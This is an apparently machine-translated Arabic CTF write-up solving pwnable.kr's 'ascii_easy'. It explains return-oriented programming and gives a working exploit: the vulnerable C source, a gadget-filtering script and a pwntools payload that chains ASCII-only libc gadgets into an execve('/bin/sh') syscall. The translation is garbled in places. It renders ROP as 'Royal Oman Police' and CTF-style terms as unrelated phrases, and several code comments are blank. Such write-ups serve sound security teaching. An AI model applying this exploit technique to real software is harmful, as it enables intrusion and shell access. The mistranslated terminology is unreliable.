حل المشكلات باستخدام pwnable.kr 26 - ascii_easy. نحن نتعامل مع أدوات ROP من البداية وإلى الأبد

صورة

في هذه المقالة ، سنقوم بحل المهمة السادسة والعشرين من الموقع pwnable.kr ونفهم ماهية ROP ، وكيف تعمل ، ولماذا هي خطيرة للغاية ، ونؤلف سلسلة شرطة عمان السلطانية بمقاتلات معقدة أخرى.

المعلومات التنظيمية
خاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:

  • PWN.
  • التشفير (التشفير) ؛
  • تقنيات الشبكات (الشبكة) ؛
  • عكس (الهندسة العكسية) ؛
  • إخفاء المعلومات (Stegano) ؛
  • بحث واستغلال مواطن الضعف WEB.

بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.

حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك شخصيًا وسأجيب على الجميع .

يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.

حل وظيفة Ascii_easy


نواصل القسم الثاني. سأقول على الفور أنه أكثر صعوبة من الأول ، لكن هذه المرة يزودوننا بالكود المصدري للبرنامج. لا تنسى المناقشة هنا (https://t.me/RalfHackerPublicChat) وهنا (https://t.me/RalfHackerChannel). لنبدأ.

انقر فوق رمز التسمية التوضيحية ascii_easy. يتم إعطاء العنوان والمنفذ للاتصال عبر ssh.

صورة

نحن متصلون عبر SSH ونرى العلم والبرنامج والكود المصدري ومكتبة libc.

صورة

دعنا نرى الكود المصدري.

#include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #define BASE ((void*)0x5555e000) int is_ascii(int c){ if(c>=0x20 && c<=0x7f) return 1; return 0; } void vuln(char* p){ char buf[20]; strcpy(buf, p); } void main(int argc, char* argv[]){ if(argc!=2){ printf("usage: ascii_easy [ascii input]\n"); return; } size_t len_file; struct stat st; int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY); if( fstat(fd,&st) < 0){ printf("open error. tell admin!\n"); return; } len_file = st.st_size; if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){ printf("mmap error!. tell admin\n"); return; } int i; for(i=0; i<strlen(argv[1]); i++){ if( !is_ascii(argv[1][i]) ){ printf("you have non-ascii byte!\n"); return; } } printf("triggering bug...\n"); vuln(argv[1]); } 

دعونا فرزها إلى كتل. يأخذ البرنامج سلسلة كوسيطة.

صورة

في هذه الحالة ، يجب أن تتكون السلسلة من أحرف ascii فقط.

صورة

يتم تخصيص منطقة ذاكرة مع عنوان أساسي معروف وقراءة وكتابة وتنفيذ الأذونات. توجد مكتبة libc في هذا المجال.

صورة

بالإضافة إلى كل شيء ، البرنامج لديه وظيفة ضعيفة.

صورة

علاوة على ذلك ، إذا قمت بفحص البرنامج ، يمكنك التأكد من أنه يحتوي على مكدس غير قابل للتنفيذ (المعلمة NX). سنقرر من خلال تجميع شرطة عمان السلطانية.

صورة

لننسخ المكتبة لأنفسنا.

 scp -P2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/ 

الآن تحتاج إلى تجميع سلسلة شرطة عمان السلطانية. للقيام بذلك ، استخدم أداة ROP-gadget .

 ROPgadget --binary libc-2.15.so > gadgets.txt 

في ملف gadgets.txt لدينا جميع سلاسل ROP الممكنة (مثال 10 من الأول معروض أدناه).

صورة

المشكلة هي أننا نحتاج إلى تحديد تلك التي تتكون من أحرف ascii فقط. للقيام بذلك ، نكتب عامل تصفية بسيط سيترك فقط هذه العناوين ، كل بايت منها ينتمي إلى الفاصل الزمني من 0x20 إلى 0x7f شاملة.

 def addr_check(addr): ret = True for i in range(0,8,2): if int(addr[i:i+2], 16) not in range(0x20, 0x80): ret = False return ret f = open('gadgets.txt', 'rt') old_gadgets = f.read().split('\n')[2:-3] f.close() new_gadgets = "" base_addr = 0x5555e000 for gadget in old_gadgets: addr = base_addr + int(gadget.split(' : ')[0], 16) if addr_check(hex(addr)[2:]): new_gadgets += (hex(addr) + ' :' + ":".join(gadget.split(':')[1:]) + '\n') f = open('new_gadgets.txt', 'wt') f.write(new_gadgets) f.close() 

قم بتشغيل البرنامج واحصل على قائمة بعناوين أدوات ROP التي ترضينا.

أدوات روب


سأل الكثيرون عن مزيد من التفاصيل حول البرمجة الموجهة نحو العودة. حسنا ، دعنا نعطي مثالا مع الرسوم التوضيحية. افترض أن لدينا مشكلة عدم حصانة تجاوز سعة المخزن مؤقت ومكدس غير قابل للتنفيذ.

الأداة ROP عبارة عن مجموعة من الإرشادات التي تنتهي بحفظ بيان الإرجاع. كقاعدة عامة ، تختار الأدوات الذكية من نهايات الوظائف. لنأخذ بعض الوظائف كمثال. في كل منها ، حدد أداة ROP (المميزة باللون الأحمر).

صورة

صورة

صورة

وبالتالي ، لدينا العديد من سلاسل شرطة عمان السلطانية:

 0x000ed7cb: mov eax, edx; pop ebx; pop esi; ret 0x000ed7cd: pop ebx; pop esi; ret 0x000ed7ce: pop esi; ret 0x00033837: pop ebx; ret 0x0010ec1f: add esp, 0x2c; ret 

الآن دعونا نتعرف على نوع سلاسل وحوش ROP. عندما يفيض المخزن المؤقت ، يمكننا إعادة كتابة عنوان المرسل. لنفترض في الوقت الحالي أنه يجب تنفيذ تعليمة ret في الوظيفة الهدف ، أي أنه يوجد في الجزء العلوي من الحزمة مكدس عنوان صالح.

على سبيل المثال ، نريد تنفيذ التعليمات البرمجية التالية:

 add esp, 0x2c add esp, 0x2c add esp, 0x2c mov eax, edx pop ebx pop esi ret 

يجب علينا إعادة كتابة عنوان المرسل الصحيح بالعناوين التالية:

 0x0010ec1f 0x0010ec1f 0x0010ec1f 0x000ed7cb 

لفهم سبب نجاح ذلك ، دعنا ننظر إلى الصورة أدناه.

صورة

وبالتالي ، بدلاً من العودة إلى عنوان صالح ، ننتقل إلى العنوان الأول من سلسلة ROP لدينا. بعد تنفيذ الأمر الأول ، سينقل تعليمة ret البرنامج إلى العنوان التالي في الحزمة ، أي الأمر الثاني. ينتهي الأمر الثاني أيضًا بالاحتفاظ ، والذي ينتقل أيضًا إلى الأمر التالي ، والذي تتم الإشارة إلى عنوانه في الحزمة. وبالتالي ، نحقق تنفيذ التعليمات البرمجية التي قمنا بتجميعها مسبقًا.

سلسلة شرطة عمان السلطانية ل ascii_easy


أولاً وقبل كل شيء ، سنكتشف عدد البايتات التي نحتاج إليها لتجاوز سعة المخزن المؤقت. قم بتشغيل البرنامج في gdb وإدخال السطر في الإدخال.

صورة

ويتعطل البرنامج إلى العنوان "bbbb" ، مما يعني أن الحشو يبلغ 32 حرفًا.

الطريقة الأكثر ملاءمة لاستخدام ROP هي استخدام وظيفة execve. الراحة تكمن في تمرير المعلمات من خلال السجلات. دعنا نجد هذه الوظيفة في مكتبة libc. يمكن القيام بذلك باستخدام GDB.

صورة

ولكن إذا أضفنا إلى عنوان الوظيفة عنوان تحميل المكتبة في الذاكرة ، فسوف نرى أنه لن يفي بحالة أسكي.

صورة

ولكن هناك خيار آخر لاستدعاء الوظيفة. هذا من خلال مكالمة النظام. على نظام Linux ، لكل مكالمة نظام رقم خاص بها. يجب أن يكون هذا الرقم موجودًا في سجل EAX ، متبوعًا بمقاطعة المقاطعة int 0x80. يمكن الاطلاع على الجدول siscall الكامل هنا .

صورة

وبالتالي ، فإن وظيفة execve لها الرقم 11 ، أي أن القيمة 0xb يجب أن تكون موجودة في سجل EAX. يتم نقل المعلمات من خلال سجلات EBX - العنوان في بداية سطر المعلمة ، ECX - العنوان في المؤشر إلى سطر المعلمة ، و EDX - العنوان في المؤشر إلى متغيرات بيئة الوسيطة.

صورة

نحتاج إلى تمرير السلسلة "/ bin / sh" إلى الوظيفة. للقيام بذلك ، سنحتاج إلى كتابته إلى المكان المسموح به للتسجيل وتمرير عنوان السلسلة كمعلمة. سيتعين على السطر حفظ 4 أحرف ، أي '/ bin' و '// sh' ، نظرًا لأن السجلات تنقل 4 بايت لكل منهما. لهذا ، لقد وجدت الأدوات التالية:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x55687b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret 

هذه الأداة:

  1. تأخذ من المكدس العنوان لكتابة السلسلة ، ووضعها في سجل edx ، يبطل eax.
  2. يستغرق قيمة من المكدس ويضعه في edi.
  3. سيقوم بنسخ القيمة من edi إلى العنوان في edx (سوف يكتب السطر الخاص بنا إلى العنوان المطلوب).
  4. سوف يستغرق اثنين من القيم الأخرى من المكدس.

وبالتالي ، لتشغيلها ، من الضروري نقل القيم التالية:

 0x555f3555 ;    memory_addr ;     (edx) 4__ ; 4    (edi) 0x55687b3c ;    4__ ;    (esi) 4__ ;    (edi) 

بعد ذلك يمكنك تشغيل الأدوات الذكية نفسها لنسخ الجزء الثاني من السطر. لن يكون من الصعب العثور على عنوان للكتابة ، حيث يتم تحميل المكتبة في منطقة ذاكرة يمكن الوصول إليها للقراءة والكتابة والتنفيذ.

صورة

يمكن أن تؤخذ أي عناوين تلبية لحالة أسكي هناك. أخذت العنوان 0x55562023.

الآن نحن بحاجة إلى إنهاء خطنا مع شخصية فارغة. بالنسبة لهذه المهمة ، أستخدم سلسلة الأدوات التالية:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x5560645c : mov dword ptr [edx], eax ; ret 

هذه الأداة:

  1. خذ من المكدس عنوان الإدخال الفارغ ، ووضعه في سجل edx ، ألغى eax.
  2. خذ القيمة من المكدس.
  3. انسخ القيمة من eax صفري إلى العنوان في edx.

وبالتالي ، لتشغيلها ، من الضروري نقل القيم التالية:

 0x555f3555 ;    memory_addr+8 ;    0 -   (edx) 4__ ;    edi 0x5560645c ;    

وبالتالي ، قمنا بنسخ سلسلة لدينا في الذاكرة. بعد ذلك ، تحتاج إلى ملء السجلات لنقل القيم. نظرًا لأن برنامج "/ bin / sh" الذي تم طلبه execve لن يكون له وسيطاته ومتغيرات البيئة الخاصة به ، فسنمرر مؤشرًا خاليًا إليها. في ebx نكتب العنوان على السطر وفي eax نكتب 11 - رقم siskol execve. لهذا ، لقد وجدت الأدوات التالية:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x556d2a51 : pop ecx ; add al, 0xa ; ret 0x5557734e : pop ebx ; ret 0x556c6864 : inc eax ; ret 

هذه الأداة:

  1. يضع قيمة من المكدس في edx ، يبطل eax.
  2. نقل القيمة من المكدس إلى edi.
  3. انقل القيمة من المكدس إلى ecx ، أضف إلى صفر eax 10.
  4. نقل القيمة من المكدس إلى ebx.
  5. زيادة الإكس من 10 إلى 11.

وبالتالي ، لتشغيلها ، من الضروري نقل القيم التالية:

 0x555f3555 ;    memory_addr+8 ;  null (edx) 4__ ;    edi 0x556d2a51 ;    memory_addr+8 ;  null (ecx) 0x5557734e ;    memory_addr ;  -(ebx) 0x556c6864 ;    

وننهي سلسلة ROP لدينا مع استثناء.

 0x55667176 : inc esi ; int 0x80 

فيما يلي سجل مختصرة وعامة لما ورد أعلاه.

صورة

ورمز تشكيل الحمولة.

 from pwn import * payload = "a"*32 pop_edx = 0x555f3555 memory_addr = 0x55562023 mov_edx_edi = 0x55687b3c mov_edx_eax = 0x5560645c pop_ecx = 0x556d2a51 pop_ebx = 0x5557734e inc_eax = 0x556c6864 int_80 = 0x55667176 payload += p32(pop_edx) payload += p32(memory_addr) payload += '/bin' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 4) payload += '//sh' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(mov_edx_eax) payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(pop_ecx) payload += p32(memory_addr + 8) payload += p32(pop_ebx) payload += p32(memory_addr) payload += p32(inc_eax) payload += p32(int_80) print(payload) 

صورة

صورة

بصراحة ، بالنسبة لي ، لسبب ما ، كانت واحدة من أصعب المهام من هذا الموقع ...

المزيد والمزيد من التعقيد ... يمكنك الانضمام إلينا على Telegram . فلنجمع مجتمعًا سيكون فيه أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

Source: https://habr.com/ru/post/ar479184/


All Articles